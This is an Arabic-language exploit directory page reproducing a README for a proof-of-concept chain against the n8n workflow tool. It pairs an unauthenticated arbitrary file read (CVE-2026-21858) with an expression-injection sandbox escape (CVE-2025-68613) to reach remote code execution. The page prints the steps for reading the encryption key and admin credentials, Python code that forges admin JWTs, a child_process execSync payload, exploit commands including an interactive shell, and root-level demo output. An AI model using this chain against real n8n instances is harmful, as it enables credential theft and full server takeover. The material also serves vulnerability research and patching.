Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-21858 — n8n Ni8mare - سلسلة من قراءة الملفات التعسفية غير المصادق عليها إلى تنفيذ الكود عن بُعد (CVSS 10.0) | Kitploit
أدوات/GitHubGitHub/chocapikk/cve-2026-21858
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراق
GitHubchocapikk/cve-2026-21858

CVE-2026-21858

n8n Ni8mare - سلسلة من قراءة الملفات التعسفية غير المصادق عليها إلى تنفيذ الكود عن بُعد (CVSS 10.0)

عرض المستودع
2615115منذ 6 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

CVE-2026-21858 + CVE-2025-68613 - السلسلة الكاملة لـ n8n

قراءة ملفات عشوائية بدون مصادقة → تزوير رمز المدير → تجاوز صندوق الحماية → RCE

CVECVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)
CVSS10.0 + 9.9 (حرجة)
الإصدارات المتأثرة<= 1.65.0 (AFR) / >= 0.211.0 (RCE)
الإصدار المُصحَّح1.121.0 (AFR) / 1.120.4+ (RCE)
تاريخ الكشف2026-01-07 11:09 UTC
الاسم الرمزيNi8mare
الفضلDor Attias (Cyera)
الاستغلالChocapikk
العمليةمؤتمتة بالذكاء الاصطناعي: فرق التصحيح → إعادة الإنتاج → بيئة الاختبار → الاستغلال (نحو 9 ساعات بعد الكشف)
النوعإثبات المفهوم - ليس استغلالًا شاملًا (يتطلب إعداد مسار عمل محدد، راجع القيود)

TL;DR

سلسلة RCE كاملة بدون مصادقة على n8n:

  1. CVE-2026-21858 - التباس نوع المحتوى → قراءة ملفات عشوائية
  2. اقرأ الإعدادات وقاعدة البيانات → زوّر JWT للمدير
  3. CVE-2025-68613 - حقن التعبيرات → تجاوز صندوق الحماية → RCE

الكشف

درجة التعرض مرتبطة بالإصدار. ومن حيث التعرض، توجد نسخ n8n ضعيفة متاحة للعموم.

نتائج LeakIX: عرض النسخ المكشوفة

نتائج كشف LeakIX

لماذا هذا الاستغلال؟

طُوّر هذا الاستغلال بشكل مستقل عن تقرير Cyera (اكتُشف بعد اكتماله). الاختلافات الرئيسية:

Cyera (البحث الأصلي)هذا الاستغلال
قراءة الملفتحميله في قاعدة معرفة الذكاء الاصطناعي → الاستعلام عبر الدردشةاستجابة HTTP مباشرة
المتطلبات المسبقةمسار عمل دردشة + تكامل ذكاء اصطناعيأي نموذج مع رفع ملفات
طريقة RCEعقدة "Execute Command" (معطّلة افتراضيًا)حقن التعبيرات (يعمل على التركيبات الافتراضية)
الأتمتةعرض يدوي/مفاهيمينص برمجي Python مؤتمت بالكامل

يتطلب كلا النهجين إعدادات مسارات عمل محددة. يحتاج نهج Cyera إلى دردشة + تكامل ذكاء اصطناعي، بينما يحتاج هذا الاستغلال إلى نموذج مع عقدة Respond. راجع القيود للتفاصيل.

سلسلة الهجوم

┌───────────────────────────────────────────────────────────┐
│                     UNAUTHENTICATED                       │
├───────────────────────────────────────────────────────────┤
│  1. Read /proc/self/environ → Find HOME directory         │
│  2. Read $HOME/.n8n/config → Get encryptionKey            │
│  3. Read $HOME/.n8n/database.sqlite → Get admin creds     │
├───────────────────────────────────────────────────────────┤
│                      TOKEN FORGE                          │
├───────────────────────────────────────────────────────────┤
│  4. Derive JWT secret from encryptionKey                  │
│  5. Forge admin session cookie                            │
├───────────────────────────────────────────────────────────┤
│                    AUTHENTICATED RCE                      │
├───────────────────────────────────────────────────────────┤
│  6. Create workflow with expression injection             │
│  7. Sandbox bypass via this.process.mainModule.require    │
│  8. Execute arbitrary commands                            │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - قراءة ملفات عشوائية عبر التباس نوع المحتوى

التصحيح

commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

عبارة "Merge commit from fork" الأسطورية - عندما ترى هذا، فاعلم أن أحدهم عثر على شيء مثير. 🌶️

السبب الجذري

// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

أرسل Content-Type: application/json → تحكم في filepath → اقرأ أي ملف.

CVE-2025-68613 - RCE عبر حقن التعبيرات

لماذا هذا التجاوز؟

يضع n8n كود المستخدم في صندوق حماية (عقدة الكود، التعبيرات) باستخدام vm2/isolated-vm. نواقل RCE أخرى:

التقنيةالحالة
عقدة Execute Commandمعطّلة افتراضيًا (N8N_ALLOW_EXEC_COMMAND=false)
عقد SSH/HTTPتنفّذ على خوادم بعيدة، وليس على مضيف n8n
الهروب من صندوق حماية PyodideCVE-2025-68668 - يتطلب عقدة Python Code
حقن التعبيراتCVE-2025-68613 - يعمل على التركيبات الافتراضية

استخدمت حقن التعبيرات لأنه يعمل على أي n8n بالإعدادات الافتراضية - دون الحاجة إلى عقد أو إعدادات خاصة. يتطلب تجاوز Pyodide (CVE-2025-68668) عقدة Python Code التي قد لا تكون متاحة على جميع النسخ.

الحمولة

={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

تعبيرات n8n لديها وصول إلى this.process.mainModule.require → هروب كامل من صندوق الحماية.

تزوير الرمز

# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

إعداد بيئة الاختبار

docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!

الاستخدام

# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

العرض التوضيحي

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

القيود

هذا ليس استغلالًا من نوع "pwn any n8n". يتطلب شروطًا محددة ليعمل:

المتطلبالوصف
نموذج مع رفع ملفاتيجب أن يمتلك الهدف مسار عمل نموذج يتضمن حقل رفع ملفات
عقدة Respond to Webhookيجب أن يُعيد مسار العمل محتوى الملف في استجابة HTTP
مسار عمل نشطيجب تفعيل مسار عمل النموذج
وصول بدون مصادقةيجب أن يكون النموذج متاحًا للعموم (بدون مصادقة)

مثال على إعداد مسار عمل قابل للاستغلال:

{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}

العناصر الأساسية هي: fieldType: "file" + respondWith: "binary". هذا النمط شائع في مسارات عمل معالجة الملفات (المحوِّلات، مُعيدات تحجيم الصور، معالجات المستندات).

تنزيل الأداة